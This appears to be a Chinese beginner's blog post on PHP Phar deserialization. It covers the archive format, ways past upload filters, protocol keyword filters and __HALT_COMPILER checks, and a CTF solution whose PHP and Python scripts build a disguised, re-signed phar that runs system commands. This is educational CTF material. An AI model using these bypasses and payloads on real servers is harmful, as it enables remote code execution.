初学phar反序列化

以下内容参考大佬博客:PHP Phar反序列化浅学习 - 跳跳糖

首先了解phar是什么东东

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

结构:

复制代码
1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名

我们直接按照模板生成一个看看就能了解这个结构是什么意思了

先设置php.ini,phar.readonly = Off,注意要删除";"分号,我在这疑惑了挺久

ini_set('phar.readonly',0); ==>是行不通的,不是所有的设置都能通过ini_set设置

生成模板:

复制代码
#get_phar.php
<?php 
class test{
    public $name="test";
    function __destruct()
    {
        echo $this->name . " is a web vegetable dog ";
    }
}
$a = new test();
$a->name="bthcls";
$bthcls=new phar('bthcls.phar',0);//后缀名必须为phar
$bthcls->startBuffering();//开始缓冲 Phar 写操作
$bthcls->setMetadata($a);//自定义的meta-data存入manifest
$bthcls->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$bthcls->addFromString("test.txt","test");//添加要压缩的文件
$bthcls->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

访问get_phar.php,010分析生成的bthcls.phar

具体如下

Stub

Stub是Phar的文件标识,也可以理解为它就是Phar的文件头

这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

复制代码
xxx<?php xxx; __HALT_COMPILER();?>

这行代码的含义,也就是说前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。
这个其实就类似于图片文件头,比如gif文件没有GIF89A文件头就无法正确的解析图片

manifest

a manifest describing the contents,用于存放文件的属性、权限等信息。

这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

contents

the file contents,这里用于存放Phar文件的内容

signature

[optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数),位于文件末尾,签证尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密,签名就是hash校验的意思

绕过方式

存在漏洞,就会存在防护,通常针对Phar反序列化也是有防范的。这里简单的总结一下常见的绕过方式。

更改文件格式

我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种

复制代码
$_FILES["file"]["type"]=="image/gif"

要求文件格式只能为gif,这个时候我们该怎么办呢?

这个时候我们需要朝花夕拾,重提一下PHP识别Phar文件的方式。PHP通过Stub里的__HALT_COMPILER();来识别这个文件是Phar文件,对于其他是无限制的,这个时候也就意味着我们即使对文件后缀和文件名进行更改,其实质仍然是Phar文件。

示例代码

复制代码
<?php
    class Test {
        public $name;
        function __construct(){
            echo "I am".$this->name.".";
        }
    }
    $obj = new Test();
    $obj -> name = "quan9i";
    $phar = new Phar('test.phar');
    $phar -> startBuffering(); //开始缓冲 Phar 写操作
    $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头
    $phar ->addFromString('test.txt','test'); //要压缩的文件
    $phar -> setMetadata($obj);  //将自定义meta-data存入manifest
    $phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

在浏览器上访问此文件生成test.phar文件,用010editor查看

随便找一个分析文件格式的

变成Gif格式,这种上传一般可以绕过大多数上传检测。

绕过phar关键词检测

Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下

复制代码
if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
    die();
}

绕过的话,我们的办法是使用各种协议来进行绕过,具体如下

复制代码
1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter伪协议来进行绕过
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2协议来进行绕过
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib协议进行绕过
绕过__HALT_COMPILER检测

我们在前文初识Phar时就提到过,PHP通过__HALT_COMPILER来识别Phar文件,那么出于安全考虑,即为了防止Phar反序列化的出现,可能就会对这个进行过滤,示例代码如下

复制代码
if (preg_match("/HALT_COMPILER/i",$Phar){
    die();
}

这里的话绕过思路有两个

1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下

复制代码
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE); 
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();    
?>

2、将生成的Phar文件进行gzip压缩,压缩命令如下

复制代码
gzip test.phar

效果如下

压缩后同样也可以进行反序列化

那么在ctf里如何利用他的反序列化?以一道题为例

[NSSRound#4 SWPU]1zweb

不想浪费金币,所以不再开环境了。。下面是我复制的源码

复制代码
#index.php
<html>
    <head>
        <title>1zWeb</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    </head>
<form action="./" method="post" onsubmit="return enter()" class="form">
    <h2 class="form__title">查询文件</h2>
    <input type="text" placeholder="请输入文件名" name="file" class="input" />
    <button class="btn" type="submit" name="submit">查看</button>
</form>
<form action="./upload.php" enctype="multipart/form-data" method="post">
    <h2 class="form__title">上传文件</h2>
    <input type="file" name="file">
    <button type="submit" name="submit">上传</button>
</form>
</html>
<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

#upload.php
<html>
    <head>
        <title>1zWeb</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    </head>
</html>
<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

两个功能点,一个任意文件读取(file_get_contents),一个文件上传(上传格式为白名单图片,内容不含__HALT_COMPILER();)

这里的文件读取没有做限制,所以可以直接读取/flag

实际考察的方法是phar反序列化,绕过内容限制、后缀和__wakeup()

那么我们第一步先生成phar

复制代码
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="Misc";
        $this->dky="Re";
        $this->cmd="system('cat /flag');";
    }
}
$bthcls = new LoveNss();
$tttang=new phar('bthcls.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setMetadata($bthcls);//自定义的meta-data存入manifest
$tttang->setStub("GIF89a<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$tttang->addFromString("test.txt","test");
$tttang->stopBuffering();*/

再利用python脚本绕过,注意修改过内容后需重新签名!

复制代码
import gzip
from hashlib import sha1
with open('E:\\phpstudy_pro\\WWW\\study\\bthcls.phar', 'rb') as file:
    f = file.read() 
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('E:\\phpstudy_pro\\WWW\\study\\bthcls.png', 'wb') as file:#更改文件后缀
    file.write(newf) 

最后上传bthcls.png,读取phar://upload/bthcls.png就结束了

写博客还是不习惯,以后还是写md吧...

相关推荐
JaguarJack1 小时前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo1 小时前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack16 小时前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay2 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954482 天前
CTF 伪协议
php
BingoGo4 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack4 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo5 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack5 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack6 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端